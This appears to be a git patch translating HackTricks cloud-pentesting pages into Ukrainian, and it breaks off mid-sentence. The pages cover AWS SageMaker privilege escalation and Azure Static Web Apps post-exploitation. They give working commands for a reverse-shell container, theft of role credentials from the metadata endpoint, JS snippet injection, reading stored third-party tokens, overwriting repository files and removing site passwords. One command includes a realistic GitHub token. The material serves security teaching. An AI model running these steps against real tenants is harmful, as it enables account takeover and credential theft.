From 38d4b0c6cc5857bb745bbf4b1b0b8249d53b91b2 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 22:58:40 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/ --- src/images/azure_static_password.png | Bin 0 -> 14369 bytes .../aws-sagemaker-privesc.md | 18 +- .../az-static-web-apps-post-exploitation.md | 162 ++++++++++++++++++ ...-conditional-access-policies-mfa-bypass.md | 20 +-- .../az-services/az-static-web-apps.md | 109 ++++++++++++ 5 files changed, 290 insertions(+), 19 deletions(-) create mode 100644 src/images/azure_static_password.png create mode 100644 src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md diff --git a/src/images/azure_static_password.png b/src/images/azure_static_password.png new file mode 100644 index 0000000000000000000000000000000000000000..9b11425160fdf4e9366904aff148498194333728 GIT binary patch literal 14369 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 ``` -Перейдіть за URL у браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. +Перейдіть за URL-адресою в браузері та натисніть на \`Open JupyterLab\` у верхньому правому куті, потім прокрутіть вниз до вкладки “Launcher” і в розділі “Other” натисніть кнопку “Terminal”. Тепер можливо отримати доступ до облікових даних метаданих IAM Role. -**Потенційний вплив:** Privesc до ролі сервісу sagemaker. +**Potential Impact:** Privesc до ролі сервісу sagemaker, що вказана. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -Якщо на ньому вже **запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. +Якщо на ньому **вже запущені Jupyter ноутбуки** і ви можете їх перерахувати за допомогою `sagemaker:ListNotebookInstances` (або виявити їх будь-яким іншим способом). Ви можете **згенерувати URL для них, отримати до них доступ і вкрасти облікові дані, як зазначено в попередній техніці**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -45,11 +45,11 @@ aws sagemaker create-processing-job \ # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` -**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана. +**Потенційний вплив:** Privesc до ролі служби sagemaker. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Тому зловмисник зможе вкрасти облікові дані ролі. +Зловмисник з цими дозволами зможе створити навчальну задачу, **запускаючи довільний контейнер** на ній з **прикріпленою роллю**. Отже, зловмисник зможе вкрасти облікові дані ролі. > [!WARNING] > Цей сценарій складніше експлуатувати, ніж попередній, оскільки вам потрібно створити образ Docker, який надішле rev shell або облікові дані безпосередньо зловмиснику (ви не можете вказати команду запуску в конфігурації навчальної задачі). @@ -71,7 +71,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Завантажте його в ECR +> # Завантажити його в ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest @@ -90,12 +90,12 @@ aws sagemaker create-training-job \ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` -**Потенційний вплив:** Privesc до ролі служби sagemaker, що вказана. +**Потенційний вплив:** Privesc до ролі служби sagemaker. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Зловмисник з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** на ній з **долученою роллю**.\ -&#xNAN;_I не експлуатував через брак часу, але виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._ +Зловмисник з цими дозволами зможе (потенційно) створити **роботу з навчання гіперпараметрів**, **запускаючи довільний контейнер** з прикріпленою **роллю**.\ +_Я не експлуатував через брак часу, але це виглядає подібно до попередніх експлойтів, не соромтеся надіслати PR з деталями експлуатації._ ## Посилання diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md new file mode 100644 index 000000000..dd3e399dd --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md @@ -0,0 +1,162 @@ +# Az - Static Web Apps Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Static Web Apps + +Для отримання додаткової інформації про цю службу перегляньте: + +{{#ref}} +../az-services/az-static-web-apps.md +{{#endref}} + +### Microsoft.Web/staticSites/snippets/write + +Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3). + +Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком:: +```bash +az rest \ +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' +``` +### Читання налаштованих облікових даних третьої сторони + +Як пояснено в розділі App Service: + +{{#ref}} +../az-privilege-escalation/az-app-services-privesc.md +{{#endref}} + +Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive. + +Ось кілька прикладів команд для перевірки токенів: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Перезаписати файл - Перезаписати маршрути, HTML, JS... + +Можливо **перезаписати файл у репозиторії Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт. + +Це може бути використано зловмисниками для того, щоб в основному **змінити вміст веб-додатку** для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для **перенаправлення певних шляхів** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`. + +> [!WARNING] +> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github. +```bash +curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ +-H "Content-Type: application/json" \ +-d '{ +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +}' +``` +### Microsoft.Web/staticSites/config/write + +З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного: +```bash +# Change password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} +}' + +# Remove the need of a password +az rest --method put \ +--url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ +--headers 'Content-Type=application/json' \ +--body '{ +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} +}' +``` +### Microsoft.Web/staticSites/listSecrets/action + +Ця дозволяє отримати **токен ключа API для розгортання** статичного додатку. + +Цей токен дозволяє розгортати додаток. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" +``` +Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому. + +1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`. +2. Змініть код, який ви хочете розгорнути +3. Розгорніть його, виконавши (не забудьте змінити ``): +```bash +docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose +``` +### Microsoft.Web/staticSites/write + +З цією дозволом можливо **змінити джерело статичного веб-додатку на 